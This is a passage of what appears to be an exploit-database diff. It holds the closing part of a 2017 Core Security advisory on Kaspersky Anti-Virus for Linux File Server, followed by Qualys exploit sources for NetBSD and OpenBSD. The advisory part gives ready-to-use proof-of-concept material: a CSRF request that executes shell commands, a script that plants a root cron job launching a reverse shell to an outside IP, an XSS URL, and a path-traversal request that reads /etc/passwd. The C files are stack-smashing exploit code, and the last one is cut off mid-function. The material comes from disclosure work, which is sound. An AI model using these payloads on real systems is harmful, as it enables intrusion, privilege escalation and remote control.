||||
described in section 7.1.
|
||||
|
||||
Moreover, it is possible to elevate privileges from kluser to root by
|
||||
abusing the quarantine functionality provided by the kav4fs-control
|
||||
system binary. This is described in section 7.2.
|
||||
|
||||
Additional web application vulnerabilities were found, including a
|
||||
reflected cross-site scripting vulnerability (7.3) and a path traversal
|
||||
vulnerability (7.4).
|
||||
|
||||
7.1. *Cross-site Request Forgery leading to Remote Command Execution*
|
||||
|
||||
[CVE-2017-9810]: There are no Anti-CSRF tokens in any forms on the web
|
||||
interface. This would allow an attacker to submit authenticated requests
|
||||
when an authenticated user browses an attacker-controlled domain.
|
||||
|
||||
The following request will update the notification settings to run a
|
||||
shell command when an object is moved to quarantine. For the full list
|
||||
of events refer to the product's documentation. Note that it is possible
|
||||
to add a script to all existing events in a single request, widening the
|
||||
window of exploitation.
|
||||
|
||||
The proof-of-concept creates the file /tmp/pepperoni. Shell commands
|
||||
are run as the lower privilege kluser.
|
||||
|
||||
Payload:
|
||||
/-----
|
||||
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni",
|
||||
"EventName": 22, "Enable": true, "__VersionInfo": "1 0"}]
|
||||
-----/
|
||||
|
||||
Request:
|
||||
|
||||
/-----
|
||||
POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1
|
||||
Host: <server IP>:9080
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
|
||||
Gecko/20100101 Firefox/52.0
|
||||
Accept: application/json, text/javascript, */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: http://<server IP>:9080/
|
||||
Content-Length: 3273
|
||||
Cookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7;
|
||||
wmc_full_stat=1;
|
||||
wmc_logsSimpleMode=1;
|
||||
wmc_backupSimpleMode=1; wmc_quaSimpleMode=1;
|
||||
wmc_iconsole_lang=resource_en.js;
|
||||
wmc_show_settings_descr=false;
|
||||
iconsole_test; wmc_show_licence_descr=false
|
||||
Connection: close
|
||||
|
||||
taskId=7&
|
||||
settings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D
|
||||
&schedule=%7B%7D&skipCtimeCheck=true
|
||||
|
||||
-----/
|
||||
|
||||
7.2. *Privilege escalation due to excessive permissions*
|
||||
|
||||
[CVE-2017-9811]: The kluser is able to interact with the kav4fs-control
|
||||
binary. By abusing the quarantine read and write operations, it is
|
||||
possible to elevate the privileges to root.
|
||||
|
||||
The following proof-of-concept script adds a cron job that will be
|
||||
executed as root.
|
||||
|
||||
/-----
|
||||
# Make sure the application is running
|
||||
/opt/kaspersky/kav4fs/bin/kav4fs-control --start-app
|
||||
|
||||
# Create cron job in /tmp
|
||||
echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron
|
||||
|
||||
# Sample reverse shell payload
|
||||
cat > /tmp/reverse.sh << EOF
|
||||
#!/bin/bash
|
||||
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
|
||||
EOF
|
||||
chmod +x /tmp/reverse.sh
|
||||
|
||||
# Move the cron job to quarantine and grab the object ID
|
||||
QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
|
||||
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)
|
||||
|
||||
# Restore the file to /etc/cron.d
|
||||
/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
|
||||
--file /etc/cron.d/implant
|
||||
-----/
|
||||
|
||||
7.3. *Reflected cross-site scripting*
|
||||
|
||||
[CVE-2017-9813]: The scriptName parameter of the licenseKeyInfo action
|
||||
method is vulnerable to cross-site scripting.
|
||||
|
||||
/-----
|
||||
http://<server
|
||||
IP>:9080/cgi-bin/cgictl?action=licenseKeyInfo&do_action=licenseKeyInfo&scriptName=</script><img+src%3dx+onerror%3d"alert(1)"%3b/>&active=&licenseKey=bla
|
||||
-----/
|
||||
|
||||
7.4. *Path traversal*
|
||||
|
||||
[CVE-2017-9812]: The reportId parameter of the getReportStatus action
|
||||
method can be abused to read arbitrary files with kluser privileges.
|
||||
The following proof-of-concept reads the /etc/passwd file.
|
||||
|
||||
/-----
|
||||
GET
|
||||
/cgi-bin/cgictl?action=getReportStatus&reportId=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
|
||||
HTTP/1.1
|
||||
Host: <server IP>:9080
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0)
|
||||
Gecko/20100101 Firefox/52.0
|
||||
Accept: application/json, text/javascript, */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: http://<server IP>:9080/
|
||||
Cookie: iconsole_test; wmc_useWZRDods=true;
|
||||
wmc_sid=99E61AFCD3EC96F5E349AB439DAE46C4; wmc_full_stat=1;
|
||||
wmc_logsSimpleMode=1; wmc_backupSimpleMode=0; wmc_quaSimpleMode=1;
|
||||
wmc_iconsole_lang=resource_en.js
|
||||
Connection: close
|
||||
-----/
|
||||
|
||||
8. *Report Timeline*
|
||||
. 2017-04-03: Core Security sent an initial notification to Kaspersky,
|
||||
including a draft advisory.
|
||||
. 2017-04-03: Kaspersky confirmed reception of advisory and informed
|
||||
they will submit it to the relevant technical team for validation and
|
||||
replication.
|
||||
. 2017-04-06: Kaspersky confirmed they could reproduce three out of
|
||||
five reported vulnerabilities and asked us opinion on their
|
||||
justifications about mitigating factors on the other two. They also said
|
||||
they would inform us about a fix date in a few days.
|
||||
. 2017-04-06: Core Security thanked the confirmation and sent
|
||||
justification for one of the vulnerabilities questioned. Core Security
|
||||
agreed on removing one reported vulnerability since it can be mitigated
|
||||
via a product setting.
|
||||
. 2017-04-25: Kaspersky confirmed the rest of the vulnerabilities
|
||||
reported and are working on a fix. They said fixes will be released
|
||||
"till the June, 30", and also said will inform us the exact dates by
|
||||
the end of June.
|
||||
. 2017-04-25: Core Security thanked the confirmation of the final
|
||||
vulnerabilities list and asked for clarification about the release date.
|
||||
. 2017-04-25: Kaspersky clarified they will release the fix by June
|
||||
30th and will let us know the exact date by mid June.
|
||||
. 2017-06-19: Kaspersky mentioned they would like to go ahead with the
|
||||
publication on June 30th and also asked for CVEs.
|
||||
. 2017-06-19: Core Security answer back proposing advisory publication
|
||||
to be July 3rd in order to avoid advisory publication on a Friday. Also
|
||||
asked for clarification about a fix dated June 14th found by Core
|
||||
Security researchers and whether or not it fixes the vulnerabilities
|
||||
reported.
|
||||
. 2017-06-21: Kaspersky answered back stating the fix dated June 14th
|
||||
is related to fixes for reported vulnerabilities.
|
||||
. 2017-06-21: Core Security asked if the June 14th patch (ID 13738) is
|
||||
fixing *all* the vulnerabilities reported in the current advisory. If
|
||||
so Core Security will be releasing the advisory sooner than planned.
|
||||
Reminded Kaspersky said they would release the fixes by June 30th.
|
||||
. 2017-06-22: Core Security sent a draft advisory with the final CVE
|
||||
IDs for each vulnerability.
|
||||
. 2017-06-23: Kaspersky said they will clarify about patch 13738 ASAP
|
||||
and also noted about a typo in the advisory's timeline.
|
||||
. 2017-06-23: Core Security requested again we need clarification
|
||||
around patch 13738 as soon as possible.
|
||||
. 2017-06-26: Core Security reviewed the patch released in June 14th
|
||||
and confirmed it addresses all the vulnerabilities reported. Core
|
||||
Security informed Kaspersky this advisory will be published as a
|
||||
FORCED release on Wednesday 28th.
|
||||
. 2017-06-28: Advisory CORE-2017-0003 published.
|
||||
|
||||
9. *References*
|
||||
|
||||
[1] https://www.kaspersky.com
|
||||
[2] https://support.kaspersky.com/linux_file80
|
||||
|
||||
10. *About CoreLabs*
|
||||
|
||||
CoreLabs, the research center of Core Security, is charged with
|
||||
anticipating the future needs and requirements for information security
|
||||
technologies.
|
||||
We conduct our research in several important areas of computer security
|
||||
including system vulnerabilities, cyber attack planning and simulation,
|
||||
source code auditing, and cryptography. Our results include problem
|
||||
formalization, identification of vulnerabilities, novel solutions and
|
||||
prototypes for new technologies.
|
||||
CoreLabs regularly publishes security advisories, technical papers,
|
||||
project information and shared software tools for public use
|
||||
at: http://corelabs.coresecurity.com.
|
||||
|
||||
11. *About Core Security*
|
||||
|
||||
Courion and Core Security have rebranded the combined company, changing
|
||||
its name to Core Security, to reflect the company's strong commitment to
|
||||
providing enterprises with market-leading, threat-aware, identity,
|
||||
access and vulnerability management solutions that enable actionable
|
||||
intelligence and context needed to manage security risks across the
|
||||
enterprise. Core Security's analytics-driven approach to security
|
||||
enables customers to manage access and identify vulnerabilities, in
|
||||
order to minimize risks and maintain continuous compliance. Solutions
|
||||
include Multi-Factor Authentication, Provisioning, Identity Governance
|
||||
and Administration (IGA), Identity and Access Intelligence (IAI), and
|
||||
Vulnerability Management (VM). The combination of these solutions
|
||||
provides context and shared intelligence through analytics, giving
|
||||
customers a more comprehensive view of their security posture so they
|
||||
can make more informed, prioritized, and better security remediation
|
||||
decisions.
|
||||
|
||||
Core Security is headquartered in the USA with offices and operations in
|
||||
South America, Europe, Middle East and Asia. To learn more, contact Core
|
||||
Security at (678) 304-4500 or info@coresecurity.com.
|
||||
|
||||
12. *Disclaimer*
|
||||
|
||||
The contents of this advisory are copyright (c) 2017 Core Security
|
||||
and (c) 2017 CoreLabs, and are licensed under a Creative Commons
|
||||
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
|
||||
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
|
||||
|
||||
13. *PGP/GPG Keys*
|
||||
|
||||
This advisory has been signed with the GPG key of Core Security
|
||||
advisories team, which is available for download at
|
||||
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
51
platforms/netbsd_x86/dos/42272.c
Executable file
51
platforms/netbsd_x86/dos/42272.c
Executable file
|
@ -0,0 +1,51 @@
|
|||
/*
|
||||
* NetBSD_CVE-2017-1000375.c (please compile with -O0)
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static void
|
||||
smash_no_jump(const size_t smash_size)
|
||||
{
|
||||
char buf[1024];
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
if (smash_size > sizeof(buf))
|
||||
smash_no_jump(smash_size - sizeof(buf));
|
||||
}
|
||||
|
||||
int
|
||||
main(const int argc, const char * const argv[])
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
if (argc != 2) die();
|
||||
const size_t smash_size = strtoul(argv[1], NULL, 0);
|
||||
if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
|
||||
smash_no_jump(smash_size);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
557
platforms/openbsd/local/42271.c
Executable file
557
platforms/openbsd/local/42271.c
Executable file
|
@ -0,0 +1,557 @@
|
|||
/*
|
||||
* OpenBSD_at.c for CVE-2017-1000373
|
||||
* Copyright (c) 2017 Qualys, Inc.
|
||||
* slowsort() adapted from lib/libc/stdlib/qsort.c:
|
||||
*
|
||||
* Copyright (c) 1992, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* OpenBSD_at.c for CVE-2017-1000372
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
* ttime() adapted from usr.bin/at/at.c:
|
||||
*
|
||||
* at.c : Put file into atrun queue
|
||||
* Copyright (C) 1993, 1994 Thomas Koenig
|
||||
*
|
||||
* Atrun & Atq modifications
|
||||
* Copyright (C) 1993 David Parsons
|
||||
*
|
||||
* Traditional BSD behavior and other significant modifications
|
||||
* Copyright (C) 2002-2003 Todd C. Miller
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. The name of the author(s) may not be used to endorse or promote
|
||||
* products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <ctype.h>
|
||||
#include <dirent.h>
|
||||
#include <dlfcn.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static const char *
|
||||
u64tostr(uint64_t u64)
|
||||
{
|
||||
static char str[64];
|
||||
char * cp = str + sizeof(str);
|
||||
*--cp = '\0';
|
||||
do {
|
||||
if (cp <= str) _exit(__LINE__);
|
||||
*--cp = '0' + (u64 % 10);
|
||||
} while (u64 /= 10);
|
||||
return cp;
|
||||
}
|
||||
|
||||
#define die() do { \
|
||||
const char * const str = u64tostr(__LINE__); \
|
||||
const size_t len = strlen(str); \
|
||||
write(STDERR_FILENO, "\n[", 2); \
|
||||
write(STDERR_FILENO, str, len); \
|
||||
write(STDERR_FILENO, "]\n", 2); \
|
||||
_exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *));
|
||||
static __inline void swapfunc(char *, char *, size_t, int);
|
||||
|
||||
/*
|
||||
* Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
|
||||
*/
|
||||
#define swapcode(TYPE, parmi, parmj, n) { \
|
||||
size_t i = (n) / sizeof (TYPE); \
|
||||
TYPE *pi = (TYPE *) (parmi); \
|
||||
TYPE *pj = (TYPE *) (parmj); \
|
||||
do { \
|
||||
TYPE t = *pi; \
|
||||
*pi++ = *pj; \
|
||||
*pj++ = t; \
|
||||
} while (--i > 0); \
|
||||
}
|
||||
|
||||
#define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
|
||||
es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
|
||||
|
||||
static __inline void
|
||||
swapfunc(char *a, char *b, size_t n, int swaptype)
|
||||
{
|
||||
if (swaptype <= 1)
|
||||
swapcode(long, a, b, n)
|
||||
else
|
||||
swapcode(char, a, b, n)
|
||||
}
|
||||
|
||||
#define swap(a, b) \
|
||||
if (swaptype == 0) { \
|
||||
long t = *(long *)(a); \
|
||||
*(long *)(a) = *(long *)(b); \
|
||||
*(long *)(b) = t; \
|
||||
} else \
|
||||
swapfunc(a, b, es, swaptype)
|
||||
|
||||
#define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype)
|
||||
|
||||
static __inline char *
|
||||
med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
|
||||
{
|
||||
return cmp(a, b) < 0 ?
|
||||
(cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
|
||||
:(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
size_t idx;
|
||||
size_t key;
|
||||
} slowsort_t;
|
||||
|
||||
static __inline void
|
||||
set_key(void * const _pss, const size_t key)
|
||||
{
|
||||
slowsort_t * const pss = _pss;
|
||||
if (!pss) die();
|
||||
if (!key) die();
|
||||
if (pss->key) die();
|
||||
pss->key = key;
|
||||
}
|
||||
|
||||
#define RESET_KEY SIZE_MAX
|
||||
|
||||
static void
|
||||
slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
|
||||
{
|
||||
if (!aa) die();
|
||||
if (n <= 0) die();
|
||||
if (n >= SSIZE_MAX) die();
|
||||
if (es <= 0) die();
|
||||
if (es >= SSIZE_MAX) die();
|
||||
if (!cmp) die();
|
||||
|
||||
#define SET_KEYS 4
|
||||
#define STACK_FRAME_SIZE 176
|
||||
const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
|
||||
if (n < pathological) die();
|
||||
size_t innocuous = n - pathological;
|
||||
|
||||
char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
|
||||
int cmp_result, swaptype;
|
||||
size_t d, r;
|
||||
char *a = aa;
|
||||
|
||||
loop: SWAPINIT(a, es);
|
||||
if (innocuous) {
|
||||
if (n <= innocuous) die();
|
||||
if (n - innocuous <= SET_KEYS) die();
|
||||
if (n <= 40) die();
|
||||
}
|
||||
if (n < 7) {
|
||||
for (pm = a; pm < a + n * es; pm += es) {
|
||||
set_key(pm, 1 + (pm - a) / es);
|
||||
}
|
||||
for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
|
||||
for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
|
||||
pl -= es)
|
||||
swap(pl, pl - es);
|
||||
return;
|
||||
}
|
||||
pm = (char *)a + (n / 2) * es;
|
||||
size_t set_keys = 0;
|
||||
if (n > 7) {
|
||||
pl = (char *)a;
|
||||
pn = (char *)a + (n - 1) * es;
|
||||
if (n > 40) {
|
||||
d = (n / 8) * es;
|
||||
if (innocuous) {
|
||||
set_key(pl, RESET_KEY);
|
||||
set_key(pl + d, RESET_KEY);
|
||||
set_key(pl + 2 * d, RESET_KEY);
|
||||
}
|
||||
pl = med3(pl, pl + d, pl + 2 * d, cmp);
|
||||
if (innocuous) set_key(pm - d, RESET_KEY);
|
||||
set_key(pm + 0, n - innocuous - 3);
|
||||
set_key(pm + d, n - innocuous - 2);
|
||||
pm = med3(pm - d, pm, pm + d, cmp);
|
||||
if (innocuous) set_key(pn - 2 * d, RESET_KEY);
|
||||
set_key(pn - d, n - innocuous - 1);
|
||||
set_key(pn - 0, n - innocuous - 0);
|
||||
pn = med3(pn - 2 * d, pn - d, pn, cmp);
|
||||
set_keys = SET_KEYS;
|
||||
} else {
|
||||
set_key(pm, n - 1);
|
||||
set_key(pn, n - 0);
|
||||
set_keys = 2;
|
||||
}
|
||||
pm = med3(pl, pm, pn, cmp);
|
||||
} else {
|
||||
set_key(pm, n - 0);
|
||||
set_keys = 1;
|
||||
}
|
||||
if (!set_keys) die();
|
||||
swap(a, pm);
|
||||
if (innocuous) {
|
||||
if (a != aa) die();
|
||||
slowsort_t * pss = aa;
|
||||
{
|
||||
const size_t key = pss->key;
|
||||
if (!key) die();
|
||||
if (n <= 40) die();
|
||||
if (set_keys != SET_KEYS) die();
|
||||
if (key != n - innocuous - set_keys + 1) die();
|
||||
}
|
||||
const slowsort_t * const end = pss + n;
|
||||
size_t i = 0;
|
||||
for (;; pss++) {
|
||||
if (pss >= end) {
|
||||
if (i != innocuous) die();
|
||||
break;
|
||||
}
|
||||
if (!pss->key) {
|
||||
if (i < innocuous) {
|
||||
set_key(pss, n - i++);
|
||||
set_keys++;
|
||||
}
|
||||
} else if (pss->key == RESET_KEY) {
|
||||
pss->key = 0;
|
||||
} else {
|
||||
if (pss->key > n - innocuous) die();
|
||||
}
|
||||
}
|
||||
}
|
||||
pa = pb = (char *)a + es;
|
||||
pc = pd = (char *)a + (n - 1) * es;
|
||||
for (;;) {
|
||||
while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
|
||||
if (cmp_result == 0) {
|
||||
swap(pa, pb);
|
||||
pa += es;
|
||||
}
|
||||
pb += es;
|
||||
}
|
||||
while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
|
||||
if (cmp_result == 0) {
|
||||
swap(pc, pd);
|
||||
pd -= es;
|
||||
}
|
||||
pc -= es;
|
||||
}
|
||||
if (pb > pc)
|
||||
break;
|
||||
swap(pb, pc);
|
||||
pb += es;
|
||||
pc -= es;
|
||||
}
|
||||
|
||||
pn = (char *)a + n * es;
|
||||
r = MIN(pa - (char *)a, pb - pa);
|
||||
vecswap(a, pb - r, r);
|
||||
r = MIN(pd - pc, pn - pd - (ssize_t)es);
|
||||
vecswap(pb, pn - r, r);
|
||||
|
||||
if ((pb - pa) / es != n - set_keys) die();
|
||||
if ((pd - pc) / es != set_keys - 1) die();
|
||||
|
||||
if ((r = pb - pa) > es) {
|
||||
n = r / es;
|
||||
innocuous = 0;
|
||||
goto loop;
|
||||
}
|
||||
die();
|
||||
}
|
||||
|
||||
static int
|
||||
cmp_key(const void * const a, const void * const b)
|
||||
{
|
||||
const size_t __a_key = ((const slowsort_t *)a)->key;
|
||||
const size_t __b_key = ((const slowsort_t *)b)->key;
|
||||
const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
|
||||
const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
|
||||
if (a_key < b_key) return -1;
|
||||
if (a_key > b_key) return +1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
#define ATOI2(s) ((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))
|
||||
|
||||
/*
|
||||
* Adapted from date(1)
|
||||
*/
|
||||
static time_t
|
||||
ttime(char *arg)
|
||||
{
|
||||
time_t now, then;
|
||||
struct tm *lt;
|
||||
int yearset;
|
||||
char *dot, *p;
|
||||
|
||||
if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
|
||||
die();
|
||||
|
||||
/* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
|
||||
for (p = arg, dot = NULL; *p != '\0'; p++) {
|
||||
if (*p == '.' && dot == NULL)
|
||||
dot = p;
|
||||
else if (!isdigit((unsigned char)*p))
|
||||
goto terr;
|
||||
}
|
||||
if (dot == NULL)
|
||||
lt->tm_sec = 0;
|
||||
else {
|
||||
*dot++ = '\0';
|
||||
if (strlen(dot) != 2)
|
||||
goto terr;
|
||||
lt->tm_sec = ATOI2(dot);
|
||||
if (lt->tm_sec > 61) /* could be leap second */
|
||||
goto terr;
|
||||
}
|
||||
|
||||
yearset = 0;
|
||||
switch(strlen(arg)) {
|
||||
case 12: /* CCYYMMDDhhmm */
|
||||
lt->tm_year = ATOI2(arg) * 100;
|
||||
lt->tm_year -= 1900; /* Convert to Unix time */
|
||||
yearset = 1;
|
||||
/* FALLTHROUGH */
|
||||
case 10: /* YYMMDDhhmm */
|
||||
if (yearset) {
|
||||
yearset = ATOI2(arg);
|
